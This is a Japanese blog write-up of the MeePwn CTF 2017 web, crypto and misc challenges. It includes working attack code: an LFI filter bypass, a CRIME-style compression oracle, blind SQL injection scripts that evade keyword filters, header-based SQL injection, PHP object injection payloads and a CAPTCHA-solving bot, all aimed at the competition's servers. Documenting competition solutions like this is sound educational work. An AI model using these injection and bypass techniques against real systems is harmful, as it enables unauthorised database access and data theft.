st98 の日記帳


[ctf] MeePwn CTF 1st 2017 の write-up

チーム Harekaze で MeePwn CTF 1st 2017 に参加しました。最終的にチームで 2049 点を獲得し、順位は得点 542 チーム中 14 位でした。うち、私は 9 問を解いて 2048 点を入れました。

以下、解いた問題の write-up です。

[Web 500] TooManyCrypto

与えられた URL にアクセスすると、任意の文字列の暗号化と復号ができるサービスが表示されました。

暗号化ができるページのパスは /index.php?page=encrypt でした。encrypt.php にアクセスすると /index.php?page=encrypt と一部が同じ内容でした。LFI ができそうです。

/index.php?page=php://filter/convert.base64-encode/resource=encrypt にアクセスしてみたものの、I hate "php" onii-chan... baka と怒られてしまいました。

phppHp に変えてみたところ、今度は base64 エンコードされた encrypt.php のソースが表示されました。

<?php

include('./secret.php');

if(empty($_SESSION["form_token"]))
{
$gen_token=md5(uniqid(rand(), true));
$_SESSION["form_token"] = $gen_token;
//header("Refresh:0");
}

function tsu_super_encrypt0($c)
{
  return gzcompress($c,-1);
}

function tsu_super_encrypt1($c,$key)
{
    $l=strlen($key);
    $string="";
    for($i=0;$i<strlen($c);$i++)
    {
        $string[$i]=chr((ord($c[$i]) | ord($key[$i%$l])) & (256+~(ord($c[$i]) & ord($key[$i%$l])))%256);
    }
    return implode("",$string);
}

function tsu_super_encrypt2($c)
{
    $l=strlen($c);
    $string="";
    for($i=0;$i<$l;$i++)
    {
        $string[$i]=chr((ord($c[$i])+$i)%256);
    }
    return implode("",$string);
}

function tsu_super_encrypt3($c)
{
  $l=strlen($c);
  $k=$l%8;
  $string="";
  for($i=0;$i<$l;$i++)
  {
  $string[$i]=chr(((ord($c[$i])<<$k)|ord($c[$i])>>(8-$k))&0xff);
  }
  return implode("",$string);
}

?>
<html>



<?php


if(isset($_POST["enc"]) && strlen($_POST["enc"]) && isset($_POST["token"]))
{
  if($_SESSION["form_token"]===$_POST["token"])
  {
  unset($_SESSION['form_token']);
  $gen_token=md5(uniqid(rand(), true));
  $_SESSION["form_token"] = $gen_token;
  $enc=$_POST["enc"];
  $flag=$secret_salt;
  $query="secret=".$secret_salt."string=".$enc;
  $encrypted0=tsu_super_encrypt0($query);
  $encrypted1=tsu_super_encrypt1($encrypted0,$key);
  $encrypted2=tsu_super_encrypt2($encrypted1);
  $encrypted3=tsu_super_encrypt3($encrypted2); //I'm too sleepy, i think i should stop here..., oyasuminasai...mm..mm..zz..
  $final=base64_encode($encrypted3);
  echo '<pre><font color="red">Hey onii-chan...Here is your crypt...</font><font color="blue">'.$final.'</font></pre>'; 
  
  }
}
?>

<font color="red">Please give me a message...onii-chan</font>
<form action="?page=encrypt" method="POST" id="usrform">
  <center>
  <textarea rows="6" placeholder="I’m here for whenever you need me" class="form-control" name="enc" form="usrform"></textarea>
  <input type="hidden" name="token" value=<?php echo $_SESSION["form_token"];?> />
  <input type="submit" id="contact-submit" class="btn btn-default btn-send" value="Encrypt">
  </center>
</form>




<br>
</html>

$flag=$secret_salt とあるので $secret_salt を手に入れればよさそうです。

$secret_salt$key の値が secret.php から得られないか考えたものの、index.php には以下のような処理があるためダメそうです。

...
if(isset($_GET["page"]) && !empty($_GET["page"]))
{
$page=$_GET["page"];
if(strpos(strtolower($page), 'secret') !== false)
    {
    die("<center><img src='./images/wrongway.jpg'/></center>");
    }
else if(strpos($page, 'php') !== false)
    {
    die("<center><img src='./images/baka.gif'/></center>");
    }
else
    {
    include($page.'.php');
    }
}
...

encrypt.php を見ていきます。入力した文字列は $query="secret=".$secret_salt."string=".$enc でフラグと結合された後、tsu_super_encrypt0gzcompress を使って圧縮されています。それから tsu_super_encrypt1$key と xor、tsu_super_encrypt2chr((ord($c[$i]) + $i) % 256)tsu_super_encrypt3strlen($c) % 8 だけ左にローテートという順で暗号化されています。

直接復号するのは厳しそうですが、最初に gzcompress で圧縮されていること、フラグの形式が MeePwnCTF{...} であることを利用して CRIME の要領でフラグを手に入れることならできそうです。

import re
import requests

def find_token(s):
  return re.findall(r'name="token" value=([0-9a-f]{32}) /', s)[0]

def get_token():
  r = requests.get(url + '?page=encrypt', cookies={'PHPSESSID': session_id})
  return find_token(r.content)

def encrypt(s, token):
  r = requests.post(url + '?page=encrypt', cookies={'PHPSESSID': session_id}, data={
    'enc': s,
    'token': token
  })
  return re.findall(r'<font color="blue">(.+)</font>', r.content)[0], find_token(r.content)

if __name__ == '__main__':
  url = 'http://128.199.190.23:8002/'
  session_id = 'xxxxxxxxxxxxxxxxxxxxxxxxxx'
  table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}'

  res = 'MeePwnCTF{'
  token = get_token()
  while True:
    a = []
    for c in table:
      r, token = encrypt(res + c, token)
      r = r.decode('base64')
      a.append((len(r), c))
    a.sort(key=lambda x: x[0])
    res += a[0][1]
    print res
$ python2 solve.py
MeePwnCTF{T
MeePwnCTF{Ti
MeePwnCTF{Tim
MeePwnCTF{Tim3
MeePwnCTF{Tim3_
MeePwnCTF{Tim3_t
MeePwnCTF{Tim3_t0
MeePwnCTF{Tim3_t0w
MeePwnCTF{Tim3_t0w4
MeePwnCTF{Tim3_t0w4t
MeePwnCTF{Tim3_t0w4tc
MeePwnCTF{Tim3_t0w4tch
MeePwnCTF{Tim3_t0w4tch_
MeePwnCTF{Tim3_t0w4tch_m
MeePwnCTF{Tim3_t0w4tch_mY
MeePwnCTF{Tim3_t0w4tch_mY_
MeePwnCTF{Tim3_t0w4tch_mY_0
MeePwnCTF{Tim3_t0w4tch_mY_0n
MeePwnCTF{Tim3_t0w4tch_mY_0ni
MeePwnCTF{Tim3_t0w4tch_mY_0nii
MeePwnCTF{Tim3_t0w4tch_mY_0niic
MeePwnCTF{Tim3_t0w4tch_mY_0niich
MeePwnCTF{Tim3_t0w4tch_mY_0niicha
MeePwnCTF{Tim3_t0w4tch_mY_0niichan
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_C
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CS
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_w
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_wi
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_s
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_so
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_som
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3c
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cR
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRy
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRyp
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypt
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0n
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0n}
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0n}

[Web 600] Flag Shop

与えられた URL にアクセスすると、ログイン用のユーザ名とパスワード、ログイン用とは別にもう 1 つユーザ名 (name=buyflag) が入力できるフォームが表示されました。

ソースを見てみると以下のようにユーザ名とパスワードがコメントで書かれていました。

<!-- Here is some gift 4 u. GLHF -->
<!-- ducnt/__testtest__ -->
<!-- guest/__EG-Fangay__ -->
<!-- test/__test__ -->
<!-- eesama/hoho@hihi -->
<!-- fightme/123 -->
<!-- sumail/thebest -->
<!-- messi/ronaldo -->

これでログインでき、所持金とフラグの購入に必要なお金が表示されました。が、どのユーザもフラグを買うにはお金が足りないようです。

何か手がかりが得られないか試しに m—/webfuck を回してみたところ、index.php.bak というファイルが見つかり index.php のソースを得ることができました。

<?php
$servername = "there is no place like home dude!!!";
$username = "XXXXXXXXXXXXX";
$password = "XXXXXXXXXXXXX";
$dbname = "flagshop";
$conn = mysqli_connect($servername, $username, $password, $dbname);

if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

if(isset($_POST["username"]) && !empty($_POST["username"]) && isset($_POST["password"]) && !empty($_POST["password"]))
{
    $username = mysqli_real_escape_string($conn,$_POST['username']);
    $password = mysqli_real_escape_string($conn,$_POST['password']);
    $sql  = "SELECT * FROM users WHERE username='$username' AND password='$password' limit 1";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) == 0)
        echo "<span style='color: red;'/><center><h1><tr>Nothing is easy. Go away dude!!!!</h1></center></style></span>";
    else{
        $sql1  = "SELECT * FROM buyflag WHERE username='admin' limit 1";
        $check1 = mysqli_fetch_array(mysqli_query($conn, $sql1));
        echo "<tr><center><strong><td><font color='yellow' size=8 >Need " . $check1["value"] . " gold to buy flag dude!!!</font></td>";
        echo "<tr><center><strong><td><font color=#ff3300s size=8 >==========================</font></td>";
        $sql2  = "SELECT * FROM buyflag WHERE username='$username' limit 1";
        $result2 = mysqli_fetch_array(mysqli_query($conn, $sql2));
        echo "<tr><center><strong><td><font color='red' size=8 >Hello: " . $result2["username"] . "</font></td>";
        echo "<tr><center><strong><td><font color='red' size=8 >You have: " . $result2["value"] . " gold</font></td>";
        
        if(isset($_POST['buyflag']) && !empty($_POST['buyflag']))
        {
            $buyflag=$_POST["buyflag"];
            $buyflag=preg_replace('/drop|sleep|benchmark|load|substr|substring|strcmp|union|and|offset|mid|binary|regexp|match|ord|right|locate|left|rpad|length|hex|write|join|=|-|#| |floor|=/i','~nothingisezdude~',strtolower($buyflag));
            $sql3 = mysqli_query($conn,"UPDATE buyflag SET value=value+1 WHERE username='admin'");
            $sql4 = mysqli_query($conn,"UPDATE buyflag SET value=value+1 WHERE username='$buyflag'");
        }
    }
}
mysqli_close($conn);
?>

name=buyflag なユーザ名の入力欄は、どうやら入力したユーザと admin の所持金を 1 増やす機能のためのものだったようです。

この入力欄を使って UPDATE buyflag SET value=value+1 WHERE username='$buyflag' の部分で SQLi ができるようですが、unionjoin もできず、sleepbenchmark もできずなかなかつらそうです。

Blind SQLi で攻めていくとして、どのようにして 1 ビットの情報が手に入れられるか考えます。buyflag' or 'A' < 'B が入ると全ユーザの所持金が 1 増え、' or 'A' > 'B の場合には何も変化がありません。これを利用して、ユーザの所持金が増えたかどうかで情報を手に入れましょう。

フィルターを回避する方法を 1 つずつ考えます。 (半角スペース) は \t (タブ) で代替できます。結果は ASCII の範囲内でしょうから、ordascii で代替できます。substrlpad(reverse(lpad(string, index, '')), 1, '') で代替できます。これで大体はなんとかなるでしょう。

では、まず version() の結果が得られるか試してみましょう。

import re
import requests

def find_info(s):
  return re.findall(r"<font color='red' size=8\s*>(.+?)</font>", s)

def get_info():
  r = requests.post(url, data={
    'username': user,
    'password': password
  })
  return find_info(r.content)

def query(s):
  r = requests.post(url, data={
    'username': user,
    'password': password,
    'buyflag': s.replace(' ', '\t')
  })
  return find_info(r.content), get_info()

def check(r):
  return r[0][1] != r[1][1]

if __name__ == '__main__':
  url = 'http://128.199.121.135/index.php'
  user, password = 'eesama', 'hoho@hihi'

  res = ''
  i = 1
  while True:
    c = 0
    for b in range(7):
      r = check(query("' or (select ascii(lpad(reverse(lpad(version(),{},'')),1,'')) & {}) or 'A' < 'A".format(i, 1 << b)))
      if r: c |= 1 << b
    res += chr(c)
    i += 1
    print repr(res)

これでバージョンは 5.7.18-0ubuntu0.16.04.1 と分かりました。

"' or (select ascii(lpad(reverse(lpad(group_concat(table_name),{},'')),1,'')) & {} from information_schema.tables where table_schema like database()) or 'A' < 'A" に変えると buyflag,flagflag7847560c748814fd3070e9149a9578bd,users の 3 つのテーブルが存在することが分かりました。

"' or (select ascii(lpad(reverse(lpad(group_concat(column_name),{},'')),1,'')) & {} from information_schema.columns where table_name like 'flag%') or 'A' < 'A" に変えると flagflag7847560c748814fd3070e9149a9578bdflag というテーブルを持つとわかりました。

あとは "' or (select ascii(lpad(reverse(lpad(flag,{},'')),1,'')) & {} from flagflag7847560c748814fd3070e9149a9578bd) or 'A' < 'A" に変えるとフラグが得られました。

MeePwnCTF{all_the_roads_lead_to_rome@31337}

[Web 100] TSULOTT

与えられた URL にアクセスすると、6 つの数を入力してコードを得るフォームと、発行されたコードを入力して当選したかどうか判定してくれるフォームが表示されました。

ソースを見ると <!-- GET is_debug=1 --> というコメントがありました。

/?is_debug=1 にアクセスすると以下のようにソースが表示されました。

...
<?php 
class Object  
{  
  var $jackpot; 
  var $enter;  
} 
?> 


<?php 

include('secret.php'); 

if(isset($_GET['input']))   
{ 
  $obj = unserialize(base64_decode($_GET['input'])); 
  if($obj) 
  { 
    $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);  
    if($obj->enter === $obj->jackpot) 
    { 
      echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>"; 
      echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>"; 
      echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>"; 

    } 
    else 
    { 
      echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>"; 
    } 
  } 
  else 
  { 
    echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>"; 
  } 
} 
else 
{ 
  echo ""; 
} 
?> 
<center> 
<br><h2><font color='yellow' size=8>-- TSU</font><font color='red' size=8>LOTT --</font></h2> 
<p><p><font color='white'>Input your code to win jackpot!</font><p> 
<form> 
          <input type="text" name="input" /><p><p> 
          <button type="submit" name="btn-submit" value="go">send</button> 
</form> 
</center> 
<?php 
if (isset($_GET['gen_code']) && !empty($_GET['gen_code'])) 
{ 
  $temp = new Object; 
  $temp->enter=$_GET['gen_code']; 
  $code=base64_encode(serialize($temp));  
  echo '<center><font color=\'white\'>Here is your code, please use it to Lott: <strong>'.$code.'</strong></font></center>'; 
} 
?> 
...

当選の判定処理だけを抜き出してみます。

if(isset($_GET['input']))   
{ 
  $obj = unserialize(base64_decode($_GET['input'])); 
  if($obj) 
  { 
    $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);  
    if($obj->enter === $obj->jackpot) 
    { 
      echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>"; 
      echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>"; 
      echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>"; 

    } 
...
  }
}

入力した値を base64 デコードして直接 unserialize に渡しています。PHP Object Injection ができそうです。

YjoxOw (serialize(true)) を入力するとフラグが得られました。

MeePwnCTF{__OMG!!!__Y0u_Are_Milli0naire_N0ww!!___}

[Web 100] Br0kenMySQL

与えられた URL にアクセスすると、以下のようなソースコードが表示されました。

<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php

if($_GET['debug']=='🕵') die(highlight_file(__FILE__));

require 'config.php';

$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);

if (!$link) {
    die('Could not connect: ' . mysql_error());
}

if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];
    if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];

    if($username === 'guest'){

        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");

        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
            die(FLAG);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }




?>
</h1>
</pre>

"SELECT username FROM users WHERE id = ". $id の結果が guest ならもう一度このクエリを実行し、その結果が admin ならフラグを表示するようです。

2 度目のユーザ名のチェックの前に IP アドレスを logs に記録しているので、これを利用して X-Forwarded-For にランダムな値を入れて、logs に存在するかどうかで id を変えるようにしてみます。

import random
import requests

x = str(random.random())
print requests.get('http://139.59.239.133/?id=if((select 1 from logs where ip = "{}"), 1, 2)'.format(x), headers={
  'X-Forwarded-For': x
}).content
MeePwnCTF{_b4by_tr1ck_fixed}

[Web 100] Br0kenMySQL v2

Br0kenMySQL とほとんど同じですが、フィルターに select|from|\(|\) が追加されました。

変数に何か使えるものはないか探してみると、以下のような情報が得られました。

root@f0234be6b01e:/# mysql -u root -p -h $MYSQL_PORT_3306_TCP_ADDR -e "show variables" > a.txt
Enter password:
root@f0234be6b01e:/# mysql -u root -p -h $MYSQL_PORT_3306_TCP_ADDR -e "show variables" > b.txt
Enter password:
root@f0234be6b01e:/# diff a.txt b.txt
387c387
< pseudo_thread_id      9
---
> pseudo_thread_id      10
491c491
< timestamp     1500173439.524841
---
> timestamp     1500173443.255130

@@timestamp が使えそうです。if が使えなくなってしまったので、case で代替しましょう。

import requests
import time
import urllib

while True:
  print requests.get('http://139.59.239.133/v2/?id=' + urllib.quote('case @@timestamp * 100 % 100 & 1 when 1 then 1 else 2 end')).content
  time.sleep(.1)

これでフラグが得られました。

MeePwnCTF{_I_g1ve__uPPPPPPPP}

[Web 299] Br0kenMySQL v3

Br0kenMySQL v2 でフラグと一緒に得られた URL にアクセスすると、Br0kenMySQL v2 のフィルターに time|date|sec|day が増えたソースコードが表示されました。

@x := 2 みたいな感じでユーザ定義変数を使いましょう。

import requests
import urllib

print requests.get('http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?id=' + urllib.quote('case @x when 2 then 1 else @x := 2 end')).content

これでフラグが得られました。

MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}

[Crypto 100] nub_cryptosystem

nub_cryptosystem.pypubkey.txtenc.txt が与えられました。

Merkle-Hellman ナップサック暗号のようです。過去同様の問題が出題された際に書かれた write-up のスクリプトで解けました。

MeePwnCTF{Merkleee-Hellmannn!}

[Misc 149] AreYouHuman

以下のような CAPTCHA が表示されるので答える、というのを何度も繰り返す問題でした。

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@-----@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@---  ---@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ -----@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@--@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@---------@@@@@---    -@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@@  - - --@@@--    ----@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- ---- -----  ----@@@--@@---@@@@---@- -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- ------@- -------@@@--@@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@---@@@@@@---@@@@@@@@@--@@@@@@@@@@@@@- @@@@---@@@@--@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@--@@@@@@@---@@@@@@@@@---@@@--@@@@@@@- @@@@-  -@@@- @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@--@@@@@@@---@@@@@@@@@-      --@@@@@@- @@@@- --@@@- -@@@@@@@@@@@@@@@@
@@@@@@@@@@@@--------@@--------@@@--------@@@@@@@- -@@@- ---@@- -@@@@@@@@@@@@@@@@
@@@@@@@@@@@@-   ----@@- ---- -@@@--@@@@@@@@@@@@@- @@@@@ ---@@---@@@@@@@@@@@@@@@@
@@@@@@@@@@@@-----@@@@@---@@@--@@@- @@@@@@@@@@@@@- @@@@@--@--@@--@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@--@@@@@@@@@--@@@@@@@@@@@@@- @@@@@- @@-@@- @@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@--@@@@@@@@@- -------@@@@@@- -@@@@- -@--@- -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@- -----@@@@--  -----@@@@@@--@@@@@- -@@--- -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@-     ---@@@@@@@@@@@@@@@@@@@@@@@@---@@--- -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@---------@@@@@@@@@@@@@@@@@@@@@@@@---@@@----@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@--@@@-  -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@--@@@@- --@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-@@@@@---@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

tesseract と人力 OCR で頑張りましょう。

import hashlib
import subprocess
from pwn import *
from PIL import Image

def captcha_to_image(s):
  w, h = 80, 30
  im = Image.new('RGB', (w, h))
  pix = im.load()
  for y, line in enumerate(s):
    for x, c in enumerate(line):
      if c == '@':
        pix[x, y] = (255, 255, 255)
      else:
        pix[x, y] = (0, 0, 0)
  return im

def image_to_text(f):
  return subprocess.check_output(['tesseract', f, 'stdout', '-c', 'tessedit_char_whitelist=MEPWNCTF', '-psm', '6']).strip().replace(' ', '')

d = {
  '2bcb3234311ac086a82864174546572f': 'MWWMN',
  '66bbbf25bd03a12ba5c6a2fc07accc65': 'CMNWE',
  'e5767911716e8be2c2efab74dc0a678b': 'FNFMF',
   ...
  'e73eec6e133586613dc602551a36ae22': 'NWCMW',
  '724e3445175e1f6564c8cb5efd524d69': 'TNPFC',
  '781d3cff6a66ae36ca4bac16ae0f11be': 'MNMMT'
}

if __name__ == '__main__':
  s = remote('128.199.113.197', 1111)
  s.recvuntil('Are you ready? [Y/n]')
  s.sendline('Y')

  for i in range(100):
    t = s.recvuntil('Captcha')
    log.info(t)
    s.recvuntil(' =')
    captcha_to_image(t.splitlines()[:-1]).save('tmp.png')
    res = image_to_text('tmp.png')
    h = hashlib.md5(t).hexdigest()
    if h in d:
      log.info('found!')
      res = d[h]
    if len(res) != 5 and i > 80:
      res = raw_input('> ').upper()
    log.info('%s: %s' % (h, res))
    s.sendline(res)

  s.interactive()
MeePwnCTF{I_am_ju5t_a_little_Pikalong}

[Misc 100] Feedback

フィードバックを送って、問題文に書かれたフラグを送信するとポイントが得られました。

MeePwnCTF{From MeePwn with love}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳